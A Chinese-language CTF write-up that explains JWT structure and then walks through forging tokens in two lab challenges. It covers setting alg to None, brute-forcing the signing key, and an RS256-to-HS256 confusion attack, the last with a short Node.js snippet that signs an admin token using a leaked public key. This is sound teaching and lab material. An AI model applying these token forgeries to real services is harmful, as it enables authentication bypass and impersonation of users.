JWT
jwt(JSON Web Token) 是一串 json 格式的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token 里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT 可用于身份认证、会话状态维持、信息交换等。它的出现是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准((RFC 7519). 该 token 被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。
一个 jwt token 由三部分组成,header、payload 与 signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDQzODUyMywiZXhwIjoxNjgwNDQ1NzIzLCJuYmYiOjE2ODA0Mzg1MjMsInN1YiI6InVzZXIiLCJqdGkiOiI3OTJmZTUxNDY3YzZmY2YxOTI0YzU2YzRjYjc5NDZlZCJ9.0D50nDa4vr8VbT3S8ImMBXVr94Tx0y7n8XUiru0TUF8
- header 用来声明 token 的类型和签名用的算法等,需要经过 Base64Url 编码。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
//解码
{"alg":"HS256","typ":"JWT"}
alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);
typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
- payload 用来表示真正的 token 信息,也需要经过 Base64Url 编码。
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDQzODUyMywiZXhwIjoxNjgwNDQ1NzIzLCJuYmYiOjE2ODA0Mzg1MjMsInN1YiI6InVzZXIiLCJqdGkiOiI3OTJmZTUxNDY3YzZmY2YxOTI0YzU2YzRjYjc5NDZlZCJ9
//解码
{"iss":"admin","iat":1680438523,"exp":1680445723,"nbf":1680438523,"sub":"user","jti":"792fe51467c6fcf1924c56c4cb7946ed"}
JWT 规定了7个官方字段
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
- signature,将前两部分用alg指定的算法加密,再经过 Base64Url 编码就是 signature 了,作用是防止数据篡改。
JWT安全问题
修改算法为None
绕过signature检查
web346
拿到JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDQzODUyMywiZXhwIjoxNjgwNDQ1NzIzLCJuYmYiOjE2ODA0Mzg1MjMsInN1YiI6InVzZXIiLCJqdGkiOiI3OTJmZTUxNDY3YzZmY2YxOTI0YzU2YzRjYjc5NDZlZCJ9.0D50nDa4vr8VbT3S8ImMBXVr94Tx0y7n8XUiru0TUF8
解码
修改alg为None
分别base64Url编码,然后拼接,格式:header.payload.
拿到flag
爆破key
jwtcracker/hashcat
修改RS256->HS256(非对称加密->对称加密)
web350
拿到源码,发现泄露了RSA公钥
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
生成JWT
拿到flag